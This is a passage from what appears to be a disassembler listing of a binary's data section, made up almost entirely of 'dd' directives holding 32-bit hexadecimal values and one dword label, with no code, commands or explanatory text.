171F47E6h, 0EF9624E0h, 0E95E5503h dd 88FFF842h, 92958589h, 28605DAAh, 7B74DCBDh, 3FACA90Ch dd 40495256h, 9696B914h, 0BC1B4D39h, 8D210954h, 75C40CB5h dd 18A51741h, 7737F529h, 42393280h, 55CDEE80h, 3E41338Bh dd 0E97183D2h, 811C303Fh, 901B95DAh, 4E307F9Fh, 0F8C7A7Eh dd 0E7F709B2h, 0E4192692h, 8BBC0037h, 5290F1CBh, 0C00A0873h dd 4837A974h, 4B38259Ch, 1407336Fh, 2BC28BFCh, 6129A1C4h dd 1C716360h, 8F007118h, 0C18CBFC4h, 0C4EAE540h, 52EB958h dd 0D9CD870Fh, 4EEA41F1h, 4916C50Bh, 0B5E92120h, 973B3E2Eh dd 4D031823h, 8CBECDCh, 1605956Eh, 63A23112h, 19996466h dd 0AE13CF90h, 46D0E848h, 380B6BCh, 0DEA8B36Bh, 11F24584h dd 85A92220h, 0A13B00D4h dd 0CF98F0E1h, 0F13FD87Ah, 234204E7h, 0BDBC8E0Fh, 0D18B5A9Ch dd 0E1D0BE5Bh, 0D2D80EEh, 19029982h, 0FDA215h, 0B57158A3h dd 0C6B93Fh, 60F59C5Dh, 6D8D89F9h, 5F1AF3D6h, 5D810A96h dd 1415467Ch, 4ADC3DDBh, 8D31A9D0h, 51085375h, 0B74A2238h dd 3D31A359h, 30C549B8h, 255A9544h, 0CBA4FD0h, 0BD249178h dd 0A5D8588h, 0F3311142h, 0C4B4B7ABh, 7C368D0Eh, 0F07D56E3h dd 2F7CD76h, 911ABB68h, 0AD8DA214h, 7F7A6B78h, 0F466EB00h dd 0F58CD936h, 244A6A6h, 0ABC6728Bh, 6F6AF75Dh, 2055BD9Ch dd 8C18FCC3h, 8504C8FAh, 0D38BBA0Dh, 7868E809h, 0CF001E58h dd 0B7E5F720h, 5BE31ABh, 53547760h, 0A4D716DEh, 0D4A65E88h dd 0A37850B3h, 0F12F05A7h, 0C42210Ch, 8D0C68FFh, 81857954h dd 0CEF0F61Eh, 2D187518h, 0D871931Dh, 1085695h, 150D25BDh dd 1676358Bh, 0F205A985h, 4C4A59A7h, 0C90BB418h, 42122D3Dh dd 0B6EF4A05h, 0B003B18Ah, 0BF23DBC8h, 88C55BF0h, 3E371611h dd 9FD6A008h, 21006AB7h, 0BA4B1553h, 0E05A0983h, 0AC4E85C7h dd 0DCE796h, 0AE7559F3h, 3C8108BAh, 0BC0A615Dh, 0C5B10171h dd 9D6107EBh, 88C7C2E9h, 0BE6017E4h, 0D348CE78h, 0F0B226Eh dd 3C40226Dh, 0F2859760h, 924CF9D8h, 0FD792A20h, 614B5F79h dd 3480B9DBh, 67FE8999h, 85547864h, 0FEEAB5B1h, 0EBC16065h dd 903104Bh, 0C53C2F0Eh, 0ACDAC01Ah, 0D41C0EA4h, 0E42E5CD2h dd 3134CE00h, 27EA1BF5h, 0D129B31Eh, 0C7DD5B40h, 0F917E62Ah dd 67E8DFF9h, 0A7A670DBh, 4128C001h, 0D40227E6h, 0E9C3727Dh dd 8158E880h, 7F300BE2h, 0EED77ACEh, 603F4596h, 0B84AD6A9h dd 15F254F3h, 0FA547430h, 4FFA00E7h, 0FEBF19D1h, 131C9B9Ch dd 0E62504C2h, 21DFA116h, 146029C6h, 700BC3CBh, 0EE0E880Fh dd 0ABC70043h, 15EEF1A1h, 0FF5E46B8h, 13D97CEEh, 8DD04486h dd 0B3939D17h, 22D39ABBh, 231A8411h, 0C42EB2E0h, 1214465Eh dd 63F0F8A1h, 9A1569B7h, 193DC402h, 9D858D00h, 908BB71Dh dd 62CBC04h, 2E5A5250h, 60782404h, 48581497h, 80A2A63Fh dd 3E019C29h, 1E9F77E1h, 8B7DD294h, 75619995h, 0C45EB95Ah dd 90F53E8Ah, 36B58BA9h, 31F46664h, 7E989B9Fh, 0B0C49504h dd 25B61B0Fh, 64594076h, 98C495EBh, 5C6603C2h, 5812372Dh dd 4A59B8B4h, 16FF68B4h, 0DE097195h, 605180B3h, 0BD616CB4h dd 6A801E74h, 0E3DF2D14h, 45BF0053h, 2B0A5781h, 0FE016754h dd 8B0D16B5h, 4CCF5AD9h, 891C9255h, 16836A85h, 44218D33h dd 0E2F56082h, 0F45E007Ah, 3793942Eh, 189AE028h, 4B61BCA7h dd 9CA4E808h, 13F2CE01h, 0A79DCB87h, 2369D82Ah, 18D9BD26h dd 997A5F99h, 20DCE814h, 82BB0422h, 816F194Ah, 231B2544h dd 0E73327D0h, 6018C482h, 4EF1BADh, 8957C9ABh, 2763B995h dd 0EEA8105Fh, 0E74500DDh, 0BE58FA36h, 803E4C49h, 54BF7B21h dd 0A9E46978h, 9B07B100h, 0F7367CFh, 41E85FD9h, 9AA7D247h dd 5323D4h, 0AC128332h, 0D7E63Eh, 95D1A227h, 1B7F1822h dd 172B912Eh, 5F195302h, 0D68E4150h, 0E9ED849h, 137C78F8h dd 204571BBh, 58DD8A40h, 5DC0DBEh, 0BD315466h, 298742F9h dd 0C5FEB1B5h, 247112BBh, 9D8209DEh, 0B640F517h, 6487C58h dd 8C16EC79h, 0F1C2A204h, 9E823160h, 0CF810703h, 5D9F24C0h dd 0E8178A61h, 0F937D0FFh, 5EC069A7h, 59CFCDh, 6AE916C9h dd 17482FA8h, 0A085293Eh, 0BC1DA326h, 0A1563688h, 106459B4h dd 0A20862Eh, 5D928001h, 0BB98226h, 0E2FF4CF8h, 8A0FB514h dd 49FD14D7h, 0CF2475E8h, 0CA67C1C9h, 0BF37A069h, 5EE483FBh dd 82E4C774h, 0F3087634h, 0CEADB14Bh, 0DF54C1F6h, 0CF70982Eh dd 152FDBA5h, 8A149134h, 5B52D9E2h, 0F984506Eh, 941A614h dd 796E4ECBh, 6BE6BA0Ah, 6A96049Bh, 0A46EE3E9h, 92DEE810h dd 88E063E6h, 0C01F6DBh, 0BDA0F35Ch, 0C063312Bh, 0D998000h dd 0B1BAC186h, 2E88C820h, 64272415h, 2E825293h, 0FA700917h dd 0A01D2F48h, 62B50156h, 0F9601B61h, 366C37F6h, 6143C051h dd 43B29368h, 3481B600h, 5CDFAA24h, 0C0BA0462h, 986C2836h dd 6756B101h, 11454CE7h, 0D0272265h, 6F0046E4h, 3701C72Ah dd 48656h, 1D7B48F3h, 0ECBACA46h, 7109AAA2h, 17C3E6CDh dd 6D8010F8h, 0C2810109h, 156F0FB0h, 9D6C8758h, 7E1F1BB7h dd 0BABE2B40h, 0AA1B968h, 830FBD22h, 0A2A12423h, 0D13A1E9Bh dd 0E8C46527h, 952E095h, 0AE4A05B8h, 0FA7212C1h, 0B31766F2h dd 9989EB4Bh, 2380A67Ch, 575DE391h, 0B0927600h, 8370F458h dd 0B43A28C8h, 0BDE8A0B3h, 9A4C928Bh, 733D887Bh, 35EF0FC5h dd 0DC40BEFBh, 46A3C43h, 48804CB1h, 37CF7F1h, 327B2687h dd 99780076h, 946843D5h, 0C2F4A30Bh, 6C8A8781h, 533D0B12h dd 309F71F7h, 0D826D606h, 26D661Dh, 0A8607E20h, 7963CA4Ah dd 8897001Eh, 0E537A687h, 0F82590F7h, 2B7192h, 1DBCB146h dd 0B2FD591h, 5E404261h, 0B0336B88h, 97600828h, 236F8F2Ah dd 0FC7C0200h, 0AE0CA881h, 212CD261h, 4A1B6A3h, 89CFEF05h dd 9221978Dh, 61B88879h, 80C5B106h, 0B0423EF2h, 23B920DAh dd 0EAFC8A24h, 0D811511Ah, 0CCEA8B49h, 3898F4F8h, 0F126668h dd 7DECDAD3h, 55FC10C0h, 71F6BF07h, 0B6BBF405h, 0E0402B85h dd 252DF09Ah, 0E6C1F066h, 4A05BA92h, 0E67A12CAh, 1814E06Ch dd 0BA5E63B1h, 0A32E0335h, 30DE1B0Bh, 0EAA01DA0h, 233B3B74h dd 4AEB5E95h, 0B08762F7h, 0B950D8B6h, 304C2D39h, 8153C34Dh dd 0C10905EBh, 135B07E2h, 0F9BF24AFh, 0F7B888h, 0CC362178h dd 0CA311FD1h, 648BAB2Dh, 0B58D144Eh, 0BA004B6Ch, 0BB96565Ah dd 197AE77Fh, 330F5076h, 9601685Fh, 0D077576Fh, 0E2098BEAh dd 7529EFBAh, 25ABB018h, 59152900h, 0B3B10777h, 0E13C028Eh dd 1E94EB05h, 89113976h, 8D5A9891h, 0C99604B3h, 33D9386Dh dd 0E0D01914h, 0DD0BEDB5h, 7995951Dh, 0B3946200h, 8D85C7DCh dd 4F333EF9h, 0CEC5CB8Bh, 7E801338h, 0DAABA020h, 0DEBF0270h dd 9817DC73h, 811093BDh, 0B724761Ch, 8100F0DEh, 8D5136D3h dd 57200C46h, 8550F0B6h, 4D9C9169h, 5E09E68Dh, 1E91BE17h dd 0B0CD97BBh, 324FDE75h, 4D4B617Bh, 16B000E7h, 0A5010F6Fh dd 0D75EEBB7h, 6E3E40F5h, 4DB900DDh, 726C9FBFh, 0A04FE62Ah dd 2E2F2DD4h, 96223880h, 444C4CEh, 1F0829EDh, 78B28C13h dd 3C5CBA03h, 134F36E9h, 0AB00A36Eh, 534AC79Dh, 645C8DF4h dd 1FBD1039h, 40F53F50h, 1AC44822h, 0A8192179h, 2B15205Ch dd 8C0C06E1h, 24F964F7h, 5735BE2Fh, 2E61CC04h, 69F93B0Ah dd 0F1CC0A86h, 0D9731D90h, 0D776B90Bh, 1DC0B40h, 71D99B1h dd 0A9BC8413h, 1646EC2Dh, 305090BEh, 0B7BD14E4h, 1B5F7300h dd 0A7FA7FB1h, 0FCE0BDCh, 0D659F30Ah, 0A91816D1h, 78C25527h dd 2F294184h, 0C489D537h, 89602984h, 0B0B982B6h, 0FAE16539h dd 0D19D51C6h, 7A6E2B58h, 0EF713200h, 0A08B8321h, 0B91329B0h dd 31520453h, 2CEDE104h, 0A39FBB5h, 80D19B5Bh, 9F4D9940h dd 69DD04EAh, 0D6D52A95h, 0B79F565Ch, 70028075h, 3B483341h dd 0BBD7550h, 2493C048h, 0D1623945h, 5B68761h, 0C47824D8h dd 0B4ED3401h, 7E67E913h, 33690008h, 8CF1AFD0h, 1280EAF3h dd 86121E5h, 81860994h, 907F1CC6h, 0C0E3017Eh, 0FD46E9AAh dd 0E9B7C6FFh, 2F8E6482h, 0DB5CC05Eh, 35DA758Bh, 987551BDh dd 6CA80DEh, 1F24FCB6h dd 0FB760A11h, 0BB0B2533h, 0AB9015ADh, 0FC1E27B9h, 12786A95h dd 7325DE8Ah, 277BD889h, 0B4EAA09Fh, 3B7AF9A3h, 77D31C00h dd 3F426651h, 0F12056Ch, 87D9BD2Eh, 7CCD1B69h, 0EEFB05C0h dd 85290B3Fh, 169202F9h, 0FFFA1540h, 0EFA077B1h, 0FD305920h dd 7AAA57EEh, 602F2541h, 0EC0B3492h, 93F38048h, 0C79564h dd 4DEBDC32h, 0A93F2569h, 0A092D84Ah, 41F87450h, 0C88DBC41h dd 7412A859h, 0A7455B71h, 0EC859509h, 0C980A702h, 0A366D9DEh dd 6BF678F7h, 0AB641902h, 52E8A8ECh, 0C4E4018Dh, 0B66D5272h dd 6012F37h, 0DBD015Ah, 0B9012738h, 38814EF3h, 50975390h dd 0AC1C0ADh, 4C279EDFh, 0FA1FB51h, 2DD0F59Dh, 0D3949A59h dd 0F0E071F3h, 7F0093CAh, 0BF501D1Fh, 536AD09Eh, 35149753h dd 5D84D221h, 0DB30125h, 4E30C08Bh, 2D9EB645h, 0FA1173BDh dd 0AF85F9ACh, 91400E6Dh, 7484E4B2h, 0EEB616DBh, 296F410Ch dd 7F25818Dh, 0F9C334h, 0A6B8ADA8h, 0DDF1B00Ch, 498D2E5Fh dd 0C2247979h, 572B1655h, 0F2F7E32Ah, 70753114h, 11045D36h dd 18F1B531h, 8AB0F7A4h, 4CFF2D8Bh, 315205Fh, 69277C96h dd 601275FBh, 911559FDh, 16A1735h, 5823D8FBh, 248B7C75h dd 40F1714Eh, 0CEFC1FEh, 3746684Dh, 223E220h, 700DD257h dd 22DA25Dh, 0FF32E91Ah, 0DF608F79h, 9EA9C530h, 503F68A1h dd 0EA105DDh, 1BB92871h, 0EB7C6A50h, 126E4056h, 0C1C31D61h dd 0EBA5CE0h, 814608F0h, 83F083EAh, 0FD14C22Ch, 3C20AD08h dd 5C84F3FFh, 17072B8Fh, 7EA9CDEFh, 0A2D7A3FCh, 2B580C48h dd 0BAF01AC2h, 4DFCA0A4h, 4394B05Ah, 3C500112h, 3A81D003h dd 19AF45D9h, 2D0E27D5h, 0E95D6009h, 7F269DD9h, 3D20FEC8h dd 6E40E413h, 0C2F84F3Ch, 8B811AF1h, 2012D6E7h, 5362535h dd 7A1C5BF8h, 20D1630Ch, 4D7B0FEDh, 9120865h, 8BFABC57h dd 2C1322D6h, 2188B51h, 0B0A98110h, 59B5148Ch, 0C3C03317h dd 24CD9CFBh, 478BFDA5h, 3CD6CA68h, 83DEBFFDh, 131FED43h dd 6F60D3EBh, 0FD00B8Dh, 0F94B9187h, 6E2BCF21h, 5EE200B7h dd 0CBD6C508h, 0FCEC5052h, 5A172FCEh, 90E51DF5h, 0DAFED738h dd 4388413h, 0C5B64B2Eh, 6F4C1EE0h, 8E7FE504h, 0AEE2A610h dd 67D54500h, 7A2DB159h, 0A9FBBE03h, 0D73BEC2Ch, 2C815294h dd 8F2B2F61h, 0C019C8D6h, 0C14D5359h, 0F5963702h, 7D0973E8h dd 63D5F22h, 4025FA0Ch, 0B527012Dh, 5C80E839h, 26F9D09h dd 0DEE5EC40h, 47BE3F66h, 7DA4C84Eh, 0C57E550Eh, 4CD7810Ch dd 4C8ABFF6h, 0ADC0B185h, 6D070437h, 4FA0C4E1h, 40FEE847h dd 5ACAF508h, 652CA575h, 49FB01F4h, 168276C7h, 5E046E3Ch dd 610329EDh, 6D5EC8E8h, 0DE023C6Eh, 9259F66Eh, 81603776h dd 31FAFBC7h, 4DC21D7Eh, 16880F25h, 2A8B1DC0h, 0B5B4A057h dd 0B81741E9h, 3014A0C8h, 0BC765E8h, 261D5B5h, 2E6D8523h dd 0EA90641h, 6AE7A2Ah, 31E8BFC6h, 0F6B79F69h, 57BF5500h dd 98962028h, 12862247h, 1F9EE852h, 0C684D4FCh, 36AFB376h dd 8513A002h, 0CBBD217Dh, 110BE5E8h, 5E07CFE8h, 2D298AADh dd 49AD4590h, 0CDF960ADh, 2D20E6A8h, 998FF82Ch, 501FA8A0h dd 208526A9h, 9FB40C69h, 1D9B303Fh, 54E33BEh, 820F681Ah dd 8D298C08h, 0A235E16Ah, 311CA988h, 109111Ah, 49AB77E8h dd 83B8781Fh, 655E5066h, 334DB5E1h, 628587C0h, 3596004Fh dd 8D29C06Ch, 0A5C81A61h, 78B58C25h, 205A216Ch, 0AAA4EEF7h dd 64A4D7B8h, 2C4089Eh, 5061608Bh, 8D166703h, 0E42D38DFh dd 265C037Dh, 0D2101A58h, 26919E2Ch, 93313725h, 636F83Eh dd 0A8E85D5Ah, 796D9566h, 0B96632E0h, 98A26207h, 0BD5D0DC1h dd 40900011h, 5BB2FEDAh, 4AAFE30Bh, 8E37718Bh, 0A77752E8h dd 7EE5A080h, 8C9095D5h, 78009547h, 484CF16Fh, 1E2F58Ah dd 367380EEh, 1944ADEh, 81000BE1h, 7D0505D1h, 0DE86F9Eh dd 4A029B7Eh, 0D9D8951h, 0E920D50h, 0F1057521h, 0B8681819h dd 7E9001B3h, 55B533DAh, 0B79B5218h, 379F0C50h, 0B30A0997h dd 0D4005EE4h, 48B78CF5h, 0F0958Fh, 3502C52Ch, 5B5FB330h dd 0A6BE9E3Fh, 51084E3Ah, 0D45461Bh, 0B07FB11Ch, 0C5B5CD25h dd 5638FC62h, 91E6F000h, 0C9F95FC8h, 0E6E6A34h, 0D60F401h dd 0D05A0EE7h, 9D817149h, 0C365B857h, 5676EAAh, 7E8878A8h dd 0AD19804h, 0E480E117h, 255F958Dh, 0B3D5FC9h, 0B12A7B8h dd 58918C7h, 11B983Fh, 4B82BD00h, 0A5142279h, 0FE5253AEh dd 0D0F71378h, 99E4DCC3h, 4E072C79h, 4AC0FE78h, 6DD82BC2h dd 2BCBE09Dh, 4501A1B7h, 404A42B3h, 302B93D4h, 66F2D3A4h dd 34006D7Fh, 519F9A88h, 110AF3DEh, 3811E9FFh, 32A88017h dd 0F1A05727h, 0BCC701DFh, 0B3DCADBh, 5061C445h, 0B206AFDh dd 13B1E7h, 0B365D24Ch, 26CC7D62h, 0F90B86B0h, 293595Eh dd 57246DA5h, 0B5B5BD16h, 9A0D0007h, 0A6111E62h, 79EC49Dh dd 9C1FC6DBh, 0B40B403Fh, 0ED044122h, 0F7BF03D4h, 5E2C61C0h dd 85230B60h, 14720BB1h, 5B80544h, 3AC2CDD6h, 716FAF61h dd 0DEBC1C00h, 0E8E37FF0h, 0C2A72DA0h, 64FF0405h, 0C7B9B531h dd 164D5F24h, 0F6CD5749h, 0FBE43Ah, 0A27D10D8h, 0CB1772FFh dd 45E61A89h, 604D2BE1h, 8C1247EDh, 6BA2A669h, 0A21FEC00h dd 8D03D0D9h, 4ABDBD4Dh, 44214C1h, 80F8DB2Bh, 8736EA7Eh dd 20E898B4h, 0D7A42C95h, 1A7E7F92h, 36BA55FAh, 6FB0604Ah dd 3801BB88h, 1BFC87E9h, 729664DCh, 0CD74AC9Dh, 73607F22h dd 5745AA2Ah, 8E8F611h, 0BC6D0B50h, 7D80E439h, 532D40B9h dd 7BFDC112h, 9CA735B1h, 0B770217Bh, 72E61433h, 0E01E5AE9h dd 3F87C061h, 0B49B3E5Bh, 0C189B201h, 0D93419DBh, 62536F30h dd 0C85D414h, 3342BE00h, 5F9CB059h, 43E6E1Ah, 647F5B2Eh dd 0E3A4AAC1h, 0BF4EC13Eh, 81705E36h, 0F65802E6h, 9D42D86Bh dd 0CB2DD520h, 8C9FA5C6h, 0D2801991h, 0E6FF763Ah, 950AAD94h dd 734BE80Ah, 0E5B50949h, 36D350ADh, 9EFF013h, 6D90EB2Ah dd 0B70F0116h, 96D681CEh, 0DC50C9DCh, 0B7DBBE1Ch, 0E25BA0C6h dd 3B3A5864h, 2BBA9E71h, 0C0BED8FDh, 8BAE0A3Fh, 1879706Ah dd 148206h, 68258845h, 4258BED9h, 6373101h, 55F710E5h dd 4A9B9755h, 870F2EC2h, 0B90E3364h, 5EDB0BE4h, 96C98BD2h dd 5388FDDh, 20BE6681h, 0A9A24391h, 0F59BFA4Fh, 561425C2h dd 1D75FD82h, 0FC801A22h, 0F58D172Eh, 0D4E3A3A8h, 2DC0EC78h dd 0B0EEA68h, 0F5BA6210h, 0F491FE29h, 9B5C2124h, 4F0E4200h dd 514D8D01h, 203E6118h, 7358451Eh, 318E0E03h, 4E8FD90Bh dd 1D46ECDh, 0A9BFC778h, 0FE304758h, 1A25EE66h, 29D4E93Fh dd 8370D373h, 745900C0h, 0B532F830h, 0EDB76A95h, 3D8EE0C6h dd 0CA0599A7h, 0B261F503h, 8C8062FCh, 6B08D4F4h, 1BC4FB01h dd 4DB523A4h, 0D25ED324h, 1B05A872h, 0A10EB629h, 4168619Dh dd 5E85FC8Bh, 0B6B6563Dh, 7B70E00Eh, 0CFAB28A5h, 0B739E8A0h dd 64867F10h, 0ACDA5E03h, 0F037AAC6h, 0ADC3655Dh, 0FD1CE0ACh dd 0F1ED0168h, 6AC26BA2h, 0C58A021Bh, 79B7DFh, 0C8FFF853h dd 2313E896h, 1EE0D9DFh, 8BB61314h, 0CABC88C0h, 1716CB39h dd 0D9E8412h, 0F2E6AA92h, 0AF1738A2h, 85C0FD6Dh, 964D8363h dd 53C5175Dh, 4176F4Dh, 0FA300698h, 200283C2h, 0BD89EF8Ah dd 22BC5D7Bh, 0A64AD3ADh, 9900D6E0h, 0A29160C8h, 0B902F00Bh dd 0C4898029h, 0BDC79601h dd 0C65EB800h, 3719E64h, 8D902EAh, 8DDE43F6h, 0E0DA9DDh dd 0DCF953CEh, 0E5AA5CC0h, 0CC01078Ch, 0F0E38ED0h, 202E310Fh dd 88FA061Fh, 0C201107Fh, 54BB66C7h, 843A5F74h, 5FF9AA64h dd 2000B5ACh, 0A71F97DDh, 97E5C1ABh, 9D312F18h, 129F120h dd 264DF81h, 7F6A362Bh, 0B702FB6Fh, 217B2C1Eh, 61000371h dd 0BBF2A698h, 0D5B01C4h, 0B9A53140h, 0FFEEE48Ch, 0D8F66A4Fh dd 21C299F1h, 18953EDBh, 3A600302h, 78B5F307h, 0AB0101F3h dd 230F688Bh, 0DFD27DBDh, 84760412h, 70EC5CDCh, 200ED824h dd 114125EBh, 56B74FEAh, 6169838Eh, 165B5768h, 0E1B54C8Bh dd 6A4FD5D8h, 6D01C66Fh, 0ED9D01C1h, 88254F17h, 62D8C31Dh dd 421122F8h, 0C933F009h, 6950F478h, 691C3AF0h, 0D2678DB6h dd 2D7F44Fh, 1864265Eh, 9953D1FFh, 2D254370h, 0C8E2C1B1h dd 0E4C87E55h, 0F9EAA77h, 0FA643CC9h, 699DED1Eh, 546A02CEh dd 844C13EDh, 0BB4A62E3h, 748F5A88h, 801E02C5h, 9217B1C3h dd 0E87C014Ah, 9D6A14DCh, 0FD10AAF0h, 9FD65D0Ch, 197025DEh dd 27E9DBBFh, 98D10D2Ch, 93A6A62h, 0F1755DCh, 0AAE8D3FDh dd 0BF65D339h, 8BB08954h, 5C80EF8h, 0FCE00691h, 99066FBh dd 2FEF2050h, 5383669Bh, 0DDE1337Dh, 3813D473h, 0BD10F278h dd 5C69250Dh, 102CD25Bh, 62CB01DEh, 57FBACA5h, 0E6933D4h dd 23706B1Fh, 98E7344Fh, 4A4C3C5h, 9EFC431Ch, 0ACA9AB19h dd 80CC9AD2h, 9A7ED92h, 0F0D24A52h, 5408D61h, 0B3614FFCh dd 0DC8A0FAEh, 116F366Ah, 69C86803h, 51F067EAh, 0FF093A55h dd 0DC2D25B5h, 272FF471h, 81C079F0h, 328BB7BBh, 0ED33207Eh dd 254B0A4Fh, 42BEF4A5h, 0E9031B4Dh, 223965DDh, 9D7DB4C5h dd 0B081AD54h, 5B7B4BB5h, 0E660B422h, 800F7016h, 0D960B923h dd 412A0D95h, 0E461F31Bh, 0FF206E71h, 0B6B75Ah, 0F170D259h dd 23D0170Fh, 725B8727h, 2B986F46h, 0B2C8B6C5h, 8BFC0DEEh dd 7C594C1h, 9699A66Ch, 2973BFAh, 241B39F2h, 68D187C8h dd 93DA28B3h, 81BDF9D1h, 4859E5A5h, 2785AD3Fh, 0FA69097Ch dd 6D449825h, 2A0A3C07h, 5E2B5C98h, 3B86E4BDh, 8C0D064h dd 0B4D1F849h, 7C2CB709h, 12A26842h, 84FFBDB1h, 80431B84h dd 0A5E20BCBh, 89FE1882h, 11DCBD1h, 6023758Ah, 11B58D60h dd 9B7BF5BEh, 7451C1CCh, 9E925A88h, 53E6AA81h, 0FD72F100h dd 1DBF5B6Eh, 0CA102200h, 7C48DE44h, 12A01662h, 120EFCDBh dd 1BB96A5Fh, 764E1CBCh, 0F909BDA3h, 9059C8B9h, 9BD8282Dh dd 0E781FC00h, 0B5A960DDh, 1A99B240h, 4EADEC83h, 0D92F55B8h dd 9946161h, 1374E22Ah, 686FC02Bh, 15D05900h, 0A90BE10Ah dd 0F2BF6607h, 0F60BBACEh, 0EB72F6F2h, 99C77201h, 0D20210AAh dd 0BD5FE8Bh, 0CA0ECDDBh, 0FE480086h, 3A6D3610h, 83004E52h dd 0ADCE64F6h, 0D167C233h, 0E9B0D07Eh, 0B5F47504h, 12C088EDh dd 9D50D514h, 9C1994Dh, 0E02041A5h, 0DC7C4FDh, 0BF604088h dd 170E56Fh, 7F3AB801h, 30615E8Fh, 2045A5D1h, 1A65B041h dd 0FB2C6F69h, 62AF601Fh, 0B23FB821h, 0FC9B8045h, 352C0B6h dd 0B14A2C3Dh, 0A6C21C8Eh, 8C11B0Ah, 0B28D4AC7h, 535E5819h dd 90E1E0DCh, 5C120A8h, 0D278FB0h, 45C96421h, 0FAB48E17h dd 0FC2E11B8h, 4D6909D5h, 1739C690h, 0CEE1FF80h, 0CF107148h dd 57A7D7B8h, 1CEA9CA0h, 1402BA4h, 359786A8h, 0F6AC00B0h dd 0F19AF2DFh, 0CF80B10Ah, 424E32FCh, 2940860Fh, 0A04092D4h dd 390CE9h, 938B8494h, 56B77ADCh, 80D60639h, 0A28EE117h dd 0BF605B72h, 130E96B7h, 65CB21CFh, 803E14B3h, 759D2368h dd 4800E40h, 0B53104E1h, 1457B8A5h, 1989C90Ah, 0DAF015Ch dd 0CEB84D10h, 0A5431300h, 162391E3h, 0B4DFE053h, 0F407407Bh dd 4B028361h, 3A9CACB8h, 0AD39C05Fh, 0FD3D9709h, 12F2F117h dd 0EBAED400h, 85D34A47h, 0C9970898h, 59E033F9h, 5F52801Ah dd 8411504Ah, 4BF9AC3Ah, 0F0DFB66Ah, 3EEDA6DDh, 19E1E873h dd 201F03FFh, 8A28532Eh, 3BC08BD9h, 6EADE1BFh, 0FAC8951Bh dd 8684818Dh, 14FE00ADh, 3AB217D1h, 0D02D92D6h, 706B7B58h dd 0FF5AD56Dh, 0F3AF8201h, 1285D780h, 0FE2E7195h, 0B5009E7Ah dd 69E087A2h, 2A1798BFh, 420E739Ah, 892ED009h, 0C1A71253h dd 0F8A9CFC9h, 46B565CDh, 0B5091704h, 3A5A21ADh, 880F0101h dd 6E8A3Fh, 3CEB2D28h, 0B3F12Ch, 0B21E254Eh, 9814573Bh dd 0FB163B90h, 156006A6h, 19CC7Eh, 0D7F5A187h, 6B3D6A6Ch dd 0F765DE07h, 6A0AC710h, 84D5E327h, 0FFB58B03h, 9D014D1Fh dd 85F14AAFh, 49B71F41h, 2E4639A0h, 0E41F562Dh, 0ECEE50h dd 0EBA836A5h, 0E72B1B69h, 0BCFF0C00h, 2E104653h, 82894FB8h dd 86C40545h, 0EE70844h, 0A665D7C4h, 9881CF44h, 297757BFh dd 0AB14795Bh, 4461514h, 0EAB4001Eh, 742C1184h, 96D601E5h dd 90F355BBh, 29897B60h, 0A8979A68h, 5AACB0A8h, 60960458h dd 0EB358503h, 7A1A3D11h, 1D1BCB00h, 0DD9BADA6h, 7BA905D0h dd 22B5FF61h, 4C352D8h, 0A9021AF3h, 14792568h, 0EB81552Ch dd 0DF0B7ADAh, 2F1DCE24h, 8DD08D90h, 2177510h, 1688BB90h dd 53D661B4h, 7CDF7B70h, 4945B05Fh, 0A937CFFh, 93E8A161h dd 0B88FF961h, 555E249h, 0C71D8EE2h, 82028D85h, 0E98D8927h dd 0D393C42Ch, 2E9322B5h, 0ECEB8020h, 0E9DE128Ah, 0B0FBF73Fh dd 341821h, 4CB6E04Eh, 30500C07h, 44E011E6h, 0C11E01E6h dd 0EB310E8h, 0F14C8302h, 95725803h, 36EBE70Dh, 6404DE36h dd 3316EE39h, 2829501Bh, 58182140h, 570113CDh, 8BC01B09h dd 806BB9C0h, 74E1FD97h, 18004398h, 0F0AD0D76h, 258A7314h dd 0BB90758Eh, 9E0048A0h, 83EF68Dh, 13A8E825h, 0F66C513Dh dd 0C8C2E05Ch, 64804F0Fh, 0CA9DD47Fh, 618508F0h, 0F8F81204h dd 4DB89205h, 88655900h, 430456C5h, 729CA401h, 0DB615CFAh dd 0BD7B690Ch, 8809D07h, 53D2C147h, 8912455Bh, 0AA4F042Dh dd 5C755740h, 1271758Ah, 1A9E4FFAh, 377F63BDh, 3A478001h dd 0AB6DD989h, 723C577Fh, 0B19D0892h, 2DB22806h, 0D1212A75h dd 30AAD1CFh, 5E8AF7ABh, 0A507DCBBh, 5C4B77FDh, 8F744E00h dd 0B5B72601h, 86E92D00h, 91A7FC7h, 806F3504h, 0D337F4EDh dd 6F053260h, 96CE76EBh, 82A0D581h, 2013C142h, 2D69855Ch dd 0B776E200h, 287ABF02h, 1C38074Dh, 14996497h, 920AEC84h dd 2A5A40BAh, 0A56C88C6h, 26FFB601h, 965B4449h, 0E3C0585Ah dd 0F59743A5h, 4B4F6D05h, 0F229BE94h, 80BEDA2Ah, 0E78877C4h dd 97D90243h, 9111A3Bh, 49F2021Ah, 0F413D624h, 0A618324h dd 0C4A96552h, 10F26015h, 7C7558B7h, 3A53138h, 4A787053h dd 38D8010Bh, 804BAB41h, 47FCEF6h, 89031F50h, 334AC486h dd 0D49BD234h, 0C8608FCEh, 20E1714Ch, 0C48E492Dh, 837FFFh dd 0BB720FA6h, 70562944h, 6D2CB090h, 0BD42E523h, 834BE851h dd 60042CC2h, 641B66ECh, 0F2D45606h, 20C699F1h, 610A22B9h dd 0DA205089h, 0E1A4674h, 5DA06E20h, 6E6C5C1Eh, 0C826FA29h dd 0DBB1608h, 3137860Fh, 0C2B8D980h, 40E56F5Dh, 0BB8AEE0Ch dd 0ED56FC16h, 29D9E300h, 0A41C69BDh, 240B5AC0h, 9808AE7Eh dd 27842B25h, 7566800Bh, 0A95FBB03h, 0F15032C9h, 377189FEh dd 9B88D2Bh, 0C1A30220h, 0BA7D462Ch, 0DC4D9623h, 5A05561Fh dd 684AE381h, 3130428Fh, 1385848h, 326C908h, 0F6A23B45h dd 0A950DE1Ah, 1E70A9D3h dword_4BC05C dd 958924D6h, 0FD5E256Bh, 92CC60CFh, 24FD79Eh, 0A56DDB35h dd 2665B0EDh, 0B08B52Fh, 40EFBA7h, 0B26B97A4h, 0EC4872h dd 13BA3BF7h, 97E1B68Fh, 100E64E1h, 0AF14B995h, 0D07862B2h dd 12FF55C2h, 0ED663231h, 591D40E1h, 0AF4AF9EFh, 2F7299EFh dd 0E08347DAh, 92F0069Bh, 94123161h, 304A5DCh, 4D04ED83h dd 5E02092Dh, 0E4566BB5h, 0ED087824h, 0ED0F2523h, 6568C669h dd 1BC01A7Dh, 85C7DF8Bh, 938ABF81h, 0A48D64CCh, 11CE97Eh dd 6D67FFF4h, 87B7C42Eh, 0F6C1244Ch, 